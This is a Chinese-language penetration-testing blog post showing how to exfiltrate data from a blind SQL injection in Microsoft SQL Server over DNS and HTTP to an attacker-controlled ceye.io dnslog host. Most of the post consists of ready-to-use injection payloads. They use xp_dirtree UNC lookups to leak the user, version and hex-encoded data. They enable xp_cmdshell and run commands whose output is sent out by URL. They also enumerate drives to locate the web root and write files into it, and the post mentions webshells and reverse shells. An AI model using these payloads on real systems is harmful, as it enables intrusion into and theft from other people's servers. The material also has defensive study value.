c1ay's blog

渗透技巧-使用dnslog加快盲注速度(MSSQL篇)

字数统计: 2.1k阅读时长: 8 min
2019/03/17 Share

渗透技巧-使用dnslog加快盲注速度(MSSQL篇)

关于dnslog盲注,之前写过的两篇文章:

渗透技巧-使用dnslog加快盲注速度(MYSQL篇)

记一次dnslog接收异常分析

这一次详细的总结一下dnslog在mssql盲注当中的使用

前提条件

1.服务器操作系统为windows
2.mssql数据库支持master..xp_dirtree存储过程
3.mssql注入点支持执行多语句
4.mssql相对与mysql的优势在于可以执行系统命令,前提是需要支持master..xp_cmdshell存储过程。

可以看到,相比于mysql数据库,mssql的利用方法相对来说更多一些,下面介绍两种外带数据查询的方法

DNS外带查询

注入点如下

mark

注入类型为布尔盲注或者时间盲注,传参本来为get,但是长度有限制,改为post传参即可以突破限制,可以看到有10s的延时

尝试使用dnslog获取当前用户:

declare @a char(128);set @a='\\'%2buser%2b'.xxx.ceye.io/abc';exec master..xp_dirtree @a;-- 

注意这里由于POST DATA参数解析的问题,+会被当成空格,所以需要进行url编码,将+变为%2b

简单说一下这条sql语句的意思,首先将user的执行结果拼接进unc路径,接着通过xp_dirtree存储过程向unc路径发起请求,产生dns查询,在dnslog平台留下记录,可以看到dnslog接收到的user为dbo

mark

查看@@version数据库版本,由于长度超过了128个字符,需要分几次截取

首先确定长度

declare @a char(128);set @a='\\'%2b(select cast(len(@@version) as char(32)))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a-- 

因为len的结果为数字型,mssql并不存在类型转换的特性,所以数字不能与字符串直接拼接,这里需要通过cast转化为字符型,可以看到接收到长度为189字节

mark

由于unc长度有限制,直接获取的话内容会被截断,所以要分两次截取:

第一次 1-95

第二次 95-189

declare @a char(128);set @a='\\'%2b(select substring(@@version,1,95))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--  
declare @a char(128);set @a='\\'%2b(select substring(@@version,96,94))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a-- 

通过两次的截取成功获取到了完整的数据库版本信息

mark

microsoft sql server 2000 - 8.00.2039 (intel x86) may 3 2005 23:18:38 copyright (c) 1988-2003 microsoft corporation enterprise edition on windows nt 5.2 (build 3790: service pack 2)

当然还需要考虑一种特殊情况,假设说查询结果当中出现了一些unc路径不允许的特殊字符,那么在截取之前还需要进行一次16进制编写码

mssql当中字符串转16进制函数:

master.dbo.fn_varbintohexstr(xxx as VARBINARY(num))

首先查看版本信息16进制编码结果的长度

declare @a char(128);set @a='\\'%2b(select cast(len(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000)))) as char(32)))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a-- 

mark

长度为758,分几次截取就可以得到完整的结果

declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),1,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a-- 
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),61,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a-- 
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),121,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a-- 
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),181,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a-- 
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),241,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a-- 
...
...
...
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),661,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a--
declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(@@version as VARBINARY(1000))),721,37))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a-- 

mark

可以看到dnslog接收到了每一次的结果,将结果拼接后得到:

4d006900630072006f0073006f00660074002000530051004c00200053006500720076006500720020002000320030003000300020002d00200038002e00300030002e0032003000330039002000280049006e00740065006c002000580038003600290020000a0009004d0061007900200020003300200032003000300035002000320033003a00310038003a003300380020000a00090043006f0070007900720069006700680074002000280063002900200031003900380038002d00320030003000330020004d006900630072006f006e000a00090045006e00740065007200700072006900730065002000450064006900740069006f006e0020006f006e002000570069006e0064006f007700730020004e005400200035002e003200200028004200750069006c006400200033003700390030003a002000530065007200760069006300650020005000610063006b002000320029000a0

再进行16进制解码

mark

通过上面的思路,我们就可以获取任何数据了,同样也可以执行命令,首先看一下数据库是否支持master..xp_cmdshell这个存储过程,如果没有需要开启

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- 

测试注入点是否可以执行命令,最简单的办法就是ping一下ceye.io的二级域名,如果有dns记录,那就是支持了

exec master..xp_cmdshell "ping aaa.xxx.ceye.io";-- 

通过以下几个步骤可以将执行命令的结果回显至dnslog

第一步:创建临时表用于接收命令的执行结果,需要定义主键:

CREATE TABLE tt_tmp (id INT PRIMARY KEY IDENTITY,tmp1 nvarchar(4000));-- 

第二步:将命令执行结果插入临时表:

DECLARE @code varchar(4000);SET @code=0x77686f616d69;insert into tt_tmp(tmp1) exec master..xp_cmdshell @code;-- 

第三步:由于插入了多行,首先需要获取行数(经过测试部分版本的sqlserver在UNC查询结果的位置不能有空格,需要去除空格,使用rtrim):

declare @a char(128);set @a='\\'%2b(select rtrim(cast(COUNT(*) as char(32))) from tt_tmp)%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a;-- 

第四步:将查询结果发送至dnslog(逐行读取,截取字符串)

declare @a char(128);set @a='\\'%2b(select substring(master.dbo.fn_varbintohexstr(cast(cast((select tmp1 from tt_tmp where id=1) as char(255)) as VARBINARY(4000))),1,60))%2b'.xxx.ceye.io\abc';exec master..xp_dirtree @a;-- 

1-60
61-120
121-180
181-240
241-300
301-360
361-420
421-480
481-512

成功后记得删除临时表

drop table tt_tmp;-- 

主要过程就是创建一个临时表,然后读取临时表,将读取的结果发送至dnslog,结果如下

mark

HTTP外带查询

通过第一种方法,可以看到dns外带查询对长度以及一些特殊字符都有着严格的限制,比较麻烦,为了解决这个问题,可以通过HTTP外带查询的方式去代替

可以通过cmd命令,将执行命令的结果拼接进url,启动浏览器进程去发起http请求

执行whoami

exec master..xp_cmdshell "for /F %i in ('whoami') do start http://xxx.ceye.io/%i"--

mark

执行dir

exec master..xp_cmdshell "for /F %i in ('dir') do start http://xxx.ceye.io/%i"--

mark

但是通过这种方法获取到的结果,会被空格截断,可以看到上面接收的结果都是不完整的,遇到空格就会被截断,不显示后面的内容

另外这种方法还有一些缺点,就是会在服务器启动大量的浏览器进程,有可能会导致服务器卡死或者被防火墙拦截,需要时不时的关闭浏览器进程

exec master..xp_cmdshell "taskkill /f /im iexplore.exe"-- 

其它思路

可以通过此方法获取网站的根目录,之后将命令的执行结果写入到根目录的一个文件中

遍历C盘下的aspx后缀文件

exec master..xp_cmdshell "for /r C:\ %i in (*.aspx) do start http://xxx.ceye.io/%i"-- 

mark

遍历D盘下的aspx文件

exec master..xp_cmdshell "taskkill /f /im iexplore.exe"-- 
exec master..xp_cmdshell "for /r D:\ %i in (*.aspx) do start http://xxx.ceye.io/%i"-- 

mark

最终确定了D:/zhenghedabu/这个路径就是网站的物理路径了。

获取到网站的物理路径后,会有更多的利用手法

比如可以将命令的执行结果输出到网站目录下的一个txt文本文件当中当中

exec master..xp_cmdshell "ipconfig > D:\zhenghedabu\tmp2019.txt"-- 

之后可以看到命令执行的结果
mark

同样的,知道了网站物理路径,也可以直接写入webshell

总结:

使用dnslog可以有效的增加渗透的效率,避免了在盲注上花费过多的时间,但是思路也不能单单禁锢于这一种方式,比如mssql的注入点,可以执行命令,那么也可以直接通过反弹shell到公网的服务器上的。所以方法思路还是很多的,要合理使用才能事半功倍。

CATALOG
  1. 1. 渗透技巧-使用dnslog加快盲注速度(MSSQL篇)
    1. 1.0.1. 前提条件
    2. 1.0.2. DNS外带查询
    3. 1.0.3. HTTP外带查询
    4. 1.0.4. 总结: